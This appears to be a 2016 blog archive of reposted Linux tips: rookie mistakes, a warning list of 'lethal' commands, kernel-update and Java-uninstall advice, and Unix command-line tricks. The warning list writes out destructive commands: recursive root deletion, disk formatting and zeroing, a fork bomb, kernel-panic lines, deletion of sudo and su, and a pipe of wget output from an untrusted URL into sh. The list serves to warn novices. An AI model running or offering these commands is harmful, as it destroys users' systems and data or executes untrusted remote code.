Friday 30 December 2016

10 Mistakes That Make You Sound Like a Rookie Linux User

First off, some people tend to have rather strange ways of pronouncing the word “Linux”. It’s definitely not the easiest word in the world, but it’s not hard either. Linux has two syllables with the same pronunciation as the “lin” in “linens” and “ux” in “flux”. Lin-ux. Easy, right? As a comparison, it’s a bit different than the name of the creator of Linux, Linus Torvalds. His first name is pronounced like “line” and us”. At least that’s how he prefers his name when spoken in English.

Linux Is More Than Ubuntu

ubuntu_trusty_desktop
There’s no single “Linux” out there, and it definitely isn’t just Ubuntu either. There are tons of other distributions out there, all of which have differences between each other. The beauty (and curse) of having all of these distributions is that you have choice. While they all run Linux at the core, what’s provided along with the core varies, so you can pick what you think suits you best.

Don’t Always Use Sudo

When you run a command in the terminal, it’s sometimes aggravating when it says “permission denied” and you have to redo the command with “sudo” at the beginning. Some rookie Linux users will tend to prefix all of their commands with sudo, even when a lot of them don’t require it. This is bad, because certain commands actually run better when you run them as your own user rather than as root. Of course, it’s also a security risk if everything runs as root and therefore has access to literally everything on your system.

Don’t Run Every Command Given to You

Similarly, rookie Linux users will often run any command on their system that a member of an online support forum claims will help whatever problems you’re encountering. Although rare, it does occasionally happen that people will provide damaging commands to innocent users. We’ve made a list of the most common commands that you should avoid at all costs, so take a look at that if you’re worried. Otherwise, you might find that the system is deleting itself!

Learn How to Use Commands

man_man
There are tons of commands out there that you can use. In fact, there are so many that not even the most seasoned Linux users know all of them. The rookie mistake here is not knowing how to help yourself. If there’s ever a command that you come across that you’d like to learn how to use, you can use the man command. So for example, if you need to learn more about the move command mv, you can enter in man mv and it’ll give you detailed documentation over everything mv can do. Not sure how to use man? Just type man man and learn all about it! An easy way to remember this is that man is short for manual.

Stop Relying on WINE

ps
Linux rookies tend to lean too much on WINE or think that WINE can run all Windows applications. While WINE certainly does allow some applications and games to run under Linux, it’s not perfect. In fact, if something works under WINE, you should feel lucky rather than take it for granted. If you want to be a better Linux user, you’ll need to seek alternatives that are native to Linux and use them to their fullest.

Windows Software Isn’t the Only Software

Which comes to my next rookie mistake: Windows software isn’t the only software available. While there are a lot of applications which also have Linux versions (such as Firefox, Chrome, Thunderbird, GIMP, etc.), this isn’t always the case. However, just because that specific application isn’t available on Linux doesn’t mean that the functionality you’re looking for doesn’t exist on Linux. Nine times out of ten, there’s a Linux alternative that doesn’t run on Windows and can give you the same functionality as that Windows application you were looking for.
source:makeuseof.com

9 Lethal Linux Commands You Should Never Run



Delete Recursively

The Linux ability to delete anything you want without question is a godsend, especially after dealing with years of “That file can’t be deleted” errors in Windows. But Internet trolls will be quick to deceive you, presenting you with extremely dangerous removal commands that can wipe entire hard drives.
rm -rf /
This line executes the remove command rm with two toggles: -r which forces recursive deletion through all subdirectories and -f which forces deletion of read-only files without confirmation. The command is executed on the / root directory, essentially wiping your whole system clean.
Note, these days on most Linux systems if you tried doing this you’d get a warning. But the warning isn’t guaranteed, so just don’t do it.

Format Hard Drive

The terminal is especially tricky for Linux newbies because it provides several ways to accidentally wipe one’s hard drive. Recursive deletion is a big one, but here’s another:
mkfs.ext3 /dev/hda
This command formats the hard drive to use the ext3 filesystem. Disk drive formatting is not an inherently malicious action, but it does “reset” the drive such that it’s “as good as new”. In other words, a formatted hard drive is like a blank slate.
Formatting is useful for disk partitions and external drives, but executing it on an entire hard drive (such as /dev/hda) is dangerous and can leave your system in an unrecoverable state.


Overwrite Hard Drive


As if accidental disk formatting wasn’t bad enough, it’s possible to overwrite your hard drive using raw data. At least disk formatting is an actual procedure with real-life uses; directly overwriting one’s drive, on the other hand, is not so great.
command > /dev/hda
In the command above, command can be replaced by any Bash command. The > operator redirects the output from the command on its left to the file on its right. In this case, it doesn’t matter what the output of the left command is. That raw data is being redirected and used to overwrite the system hard drive.
As you can imagine, this renders it useless.

Wipe Hard Drive

Here’s another way to ruin your system. This time around, the command will completely zero out your hard drive. No data corruptions or overwrites; it will literally fill your hard drive with zeroes. A hard drive doesn’t get any more wiped than that.
dd if=/dev/zero of=/dev/hda
The dd command is a low-level instruction that’s mostly used to write data to physical drives. The if parameter determines the source of data, which in this case is /dev/zero, a special on Linux that produces an infinite stream of zeroes. The of parameter determines the destination of those zeroes, which is the /dev/hda drive.
Yes, there are legitimate reasons for zeroing a drive, but if you don’t know what those reasons are, then you’ll want to stay away from this command.

Implode Hard Drive

If you’re tired of hearing ways to wreck your hard drive, hang on. Here’s one more for you. On Linux, there’s a special file called /dev/null that will discard whatever data is written to it. You can think of it as a black hole or a file shredder: anything given to it as input will be eaten up for good.
mv / /dev/null
Can you spot the danger here? The mv command tries to move the system’s root directory / into the black hole of /dev/null. This is a valid command and the result is devastating: the hard drive gets eaten up and there’s nothing left. Doing this will make your system unusable.

Cause Kernel Panic

Windows has its infamous Blue Screen of Death. And despite the myths that float around, Linux is not a perfectly secure system. Sometimes, an internal error occurs from which recovery is impossible, so the system will enact something similar to the Blue Screen: a kernel panic.
dd if=/dev/random of=/dev/port

echo 1 > /proc/sys/kernel/panic

cat /dev/port

cat /dev/zero > /dev/mem
The intricacies of the above commands aren’t important here. What is important is that running any of those lines will result in a kernel panic, forcing you to reboot your system. It’s best to stay away from these commands unless you’re absolutely sure you know what you’re doing.

Fork Bomb

Bash is the language of the Linux terminal and it’s powerful. Not only can it run commands but it can also run functions, which makes it easy to write scripts that can automate system tasks. Unfortunately, functions don’t come without their own set of risks.

:(){:|:&};:
This obscure command is called a fork bomb, which is a special type of kernel panic. It defines a function named : that recursively calls itself twice when executed. One of the recursive calls happens in the foreground while the other happens in the background.
In other words, whenever this function executes, it spawns two child processes. Those child processes spawn their own child processes, and this cycle keeps going in an infinite loop. The only way out of it is to reboot the system.

Execute Remote Script

Here’s an innocent command that can actually be useful in day-to-day life on a Linux system. wget retrieves the contents of a web URL, which can be used to access websites or download files. However, there’s a simple trick that turns it dangerous:
wget http://an-untrusted-url -O- | sh
The above combination downloads the contents of the given URL and immediately feeds it to the sh command, which executes the downloaded contents in the terminal. If the URL were to point to a malicious script, you’d be sealing your own fate with this command.

Disable Root Command Rights

This final command is straightforward. It utilizes the commonly used rm command to disable two of the most important commands on Linux: sudo and su. Long story short, these two allow you to run other commands with root permissions. Without them, life on Linux would be miserable.
rm -f /usr/bin/sudo;rm -f /bin/su
Which is why you shouldn’t run this command. It force deletes both commands from your system without any confirmation, leaving you in a jam. There are ways to restore what you’ve deleted, but it’s not always straightforward nor will it be pleasant.
source:makeuseof.com

Monday 12 December 2016

5 Reasons Why You Should Update Your Kernel Often

If you’re using a Linux distribution like Ubuntu or Fedora, you’re also using the Linux kernel, the core that actually makes your distribution a Linux distribution. Windows also has its own kernel that its operating systems use, but Linux is highly modular and therefore the kernel is more commonly discussed as a lot can be done with it. For example, you could take the kernel, patch it up with lots of fixes, tweak other settings, strip out everything you won’t need, and then replace your original kernel with your final product, and it will run just fine (assuming it was done right). Being able to simply replace a part with something else without issue is what makes Linux great.
But your distribution constantly asks you to update your kernel. Why should you do this when it’s been running just fine?

Security Fixes

update kernel linux
Virtually every single kernel update will have some sort of security fixes that close up holes that have been discovered. This is probably one of the most important reasons to update your kernel, as you’ll always be safer with a patched kernel. If a hacker manages to get into the kernel, a lot of damage can be done or the system simply crashes. Those are inconveniences that are easily avoided with up-to-date kernels.

Stability Improvements

update linux kernel
Not only do kernel updates bring with it security fixes, but it can fix other issues that could possibly make the system crash through regular use. Some people argue that constantly updating the kernel actually decreases the overall system stability because you’ll be running on a kernel that you’ve never used, so you cannot assume that it will work as well as the kernel you were previously running on. While this is also true, that margin is rather slim, and only people who run servers or other important systems really need to be cautious. For most normal consumer-type users, updating your kernel outweighs those issues by a lot.

Updated Drivers

update linux kernel
While those were the updates you get with minor kernel updates (say 3.2.0 to 3.2.1), let’s check out some improvements you can commonly see with major updates (think 3.2 to 3.3). First of all, every major kernel update is guaranteed to include the latest open source drivers for all of your devices. Out of all the drivers being updated, the graphics drivers are probably those that you’ll notice the most, as every refresh usually adds a bit more performance. While it’s always possible to go the proprietary route, knowing that the open source drivers keep getting better and better is good too.

Read more:Click Here

Thursday 8 December 2016

Why should I uninstall older versions of Java from my system?


This article applies to:

Platform(s): Windows 10, Windows 7, Windows 8, Windows Vista, Windows XP, Windows 2008 Server, Windows Server 2012


The latest version of Java is always the recommended version as it contains feature updates, vulnerability fixes and performance improvements to previous versions. You can confirm that you have the latest version with the Java Verification page or manually checking the Java version.

Should I uninstall older versions of Java?

We highly recommend that you uninstall all older versions of Java from your system.

Keeping old versions of Java on your system presents a serious security risk.

Uninstalling older versions of Java from your system ensures that Java applications will run with the latest security and performance improvements on your system.


How can I remove older versions of Java?

Windows users can safely uninstall older versions of Java:

  • when installing Java 8 (8u20 and above) or
  • by using the Java uninstall tool or
  • by manually uninstalling Java for Windows
How do I remove Java from my computer?

Windows: You can uninstall versions of Java manually in the same way as you would uninstall any other software from your Windows computer. Follow the instructions on manually uninstalling Java for Windows
» Mac uninstall Java instructions 
» Linux uninstall Java instructions

Do I need older versions of Java?

The latest available version is compatible with the older versions. However, some Java applications (or applets) can indicate that they are dependent on a particular version, and may not run if you do not have that version installed. If an application or web page you access requires an older version of Java, you should report this to the provider/developer and request that they update the application to be compatible with all Java versions.

Wednesday 7 December 2016

20 Unix Command Line Tricks


Let us start new year with these Unix command line tricks to increase productivity at the Terminal. I have found them over the years, and I am now going to share with you.
unix-command-line-tricks.001
Deleting a HUGE file
I had a huge log file 200GB I need to delete on a production web server. My rm and ls command was crashed and I was afraid that the system to a crawl with huge disk I/O load. To remove a HUGE file, enter:
> /path/to/file.log
# or use the following syntax
: > /path/to/file.log
 
# finally delete it 
rm /path/to/file.log

Want to cache console output?

Try the script command line utility to create a typescript of everything printed on your terminal.
script my.terminal.session
Type commands:
ls
date
sudo service foo stop
To exit (to end script session) type exit or logout or press control-D
exit
To view type:
more my.terminal.session
less my.terminal.session
cat my.terminal.session

Restoring deleted /tmp folder

As my journey continues with Linux and Unix shell, I made a few mistakes. I accidentally deleted /tmp folder. To restore it all you have to do is:
mkdir /tmp
chmod 1777 /tmp
chown root:root /tmp
ls -ld /tmp

Locking a directory

For privacy of my data I wanted to lock down /downloads on my file server. So I ran:
chmod 0000 /downloads
The root user can still has access and ls and cd commands will not work. To go back:
chmod 0755 /downloads

Password protecting file in vim text editor

Afraid that root user or someone may snoop into your personal text files? Try password protection to a file in vim, type:
vim +X filename
Or, before quitting in vim use :X vim command to encrypt your file and vim will prompt for a password.

Clear gibberish all over the screen

Just type:
reset

Becoming human

Pass the -h or -H (and other options) command line option to GNU or BSD utilities to get output of command commands like ls, df, du, in human-understandable formats:
ls -lh
# print sizes in human readable format (e.g., 1K 234M 2G)
df -h
df -k
# show output in bytes, KB, MB, or GB
free -b
free -k
free -m
free -g
# print sizes in human readable format (e.g., 1K 234M 2G)
du -h
# get file system perms in human readable format
stat -c %A /boot
# compare human readable numbers
sort -h -a file
# display the CPU information in human readable format on a Linux
lscpu
lscpu -e
lscpu -e=cpu,node
# Show the  size of each file but in a more human readable way
tree -h
tree -h /boot

Show information about known users in the Linux based system

Just type:
## linux version ##
lslogins
 
## BSD version ##
logins
Sample outputs:
UID USER      PWD-LOCK PWD-DENY LAST-LOGIN GECOS
  0 root             0        0   22:37:59 root
  1 bin              0        1            bin
  2 daemon           0        1            daemon
  3 adm              0        1            adm
  4 lp               0        1            lp
  5 sync             0        1            sync
  6 shutdown         0        1 2014-Dec17 shutdown
  7 halt             0        1            halt
  8 mail             0        1            mail
 10 uucp             0        1            uucp
 11 operator         0        1            operator
 12 games            0        1            games
 13 gopher           0        1            gopher
 14 ftp              0        1            FTP User
 27 mysql            0        1            MySQL Server
 38 ntp              0        1            
 48 apache           0        1            Apache
 68 haldaemon        0        1            HAL daemon
 69 vcsa             0        1            virtual console memory owner
 72 tcpdump          0        1            
 74 sshd             0        1            Privilege-separated SSH
 81 dbus             0        1            System message bus
 89 postfix          0        1            
 99 nobody           0        1            Nobody
173 abrt             0        1            
497 vnstat           0        1            vnStat user
498 nginx            0        1            nginx user
499 saslauth         0        1            "Saslauthd user"

How do I fix mess created by accidentally untarred files in the current dir?

So I accidentally untar a tarball in /var/www/html/ directory instead of /home/projects/www/current. It created mess in /var/www/html/. The easiest way to fix this mess:
cd /var/www/html/
/bin/rm -f "$(tar ztf /path/to/file.tar.gz)"

Confused on a top command output?

Seriously, you need to try out htop instead of top:
sudo htop

Want to run the same command again?

Just type !!. For example:
/myhome/dir/script/name arg1 arg2
 
# To run the same command again 
!!
 
## To run the last command again as root user
sudo !!
The !! repeats the most recent command. To run the most recent command beginning with “foo”:
!foo
# Run the most recent command beginning with "service" as root
sudo !service
The !$ use to run command with the last argument of the most recent command:
# Edit nginx.conf
sudo vi /etc/nginx/nginx.conf
 
# Test nginx.conf for errors
/sbin/nginx -t -c /etc/nginx/nginx.conf
 
# After testing a file with "/sbin/nginx -t -c /etc/nginx/nginx.conf", you
# can edit file again with vi
sudo vi !$

Get a reminder you when you have to leave

If you need a reminder to leave your terminal, type the following command:
leave +hhmm
Where,
  • hhmm – The time of day is in the form hhmm where hh is a time in hours (on a 12 or 24 hour clock), and mm are minutes. All times are converted to a 12 hour clock, and assumed to be in the next 12 hours.

Home sweet home

Want to go the directory you were just in? Run:
cd -
Need to quickly return to your home directory? Enter:
cd
The variable CDPATH defines the search path for the directory containing directories:
export CDPATH=/var/www:/nas10
Now, instead of typing cd /var/www/html/ I can simply type the following to cd into /var/www/html path:
cd html

Editing a file being viewed with less pager

To edit a file being viewed with less pager, press v. You will have the file for edit under $EDITOR:
less *.c
less foo.html
## Press v to edit file ##
## Quit from editor and you would return to the less pager again ##

List all files or directories on your system

To see all of the directories on your system, run:
find / -type d | less
 
# List all directories in your $HOME
find $HOME -type d -ls | less
To see all of the files, run:
find / -type f | less
 
# List all files in your $HOME
find $HOME -type f -ls | less

Build directory trees in a single command

You can create directory trees one at a time using mkdir command by passing the -poption:
mkdir -p /jail/{dev,bin,sbin,etc,usr,lib,lib64}
ls -l /jail/

Copy file into multiple directories

Instead of running:
cp /path/to/file /usr/dir1
cp /path/to/file /var/dir2
cp /path/to/file /nas/dir3
Run the following command to copy file into multiple dirs:
echo /usr/dir1 /var/dir2 /nas/dir3 |  xargs -n 1 cp -v /path/to/file
Creating a shell function is left as an exercise for the reader

Quickly find differences between two directories

The diff command compare files line by line. It can also compare two directories:
ls -l /tmp/r
ls -l /tmp/s
# Compare two folders using diff ##
diff /tmp/r/ /tmp/s/
Fig. : Finding differences between folders
Fig. : Finding differences between folders

Text formatting

You can reformat each paragraph with fmt command. In this example, I’m going to reformat file by wrapping overlong lines and filling short lines:
fmt file.txt
You can also split long lines, but do not refill i.e. wrap overlong lines, but do not fill short lines:
fmt -s file.txt

See the output and write it to a file

Use the tee command as follows to see the output on screen and also write to a log file named my.log:
mycoolapp arg1 arg2 input.file | tee my.log
The tee command ensures that you will see mycoolapp output on on the screen and to a file same time.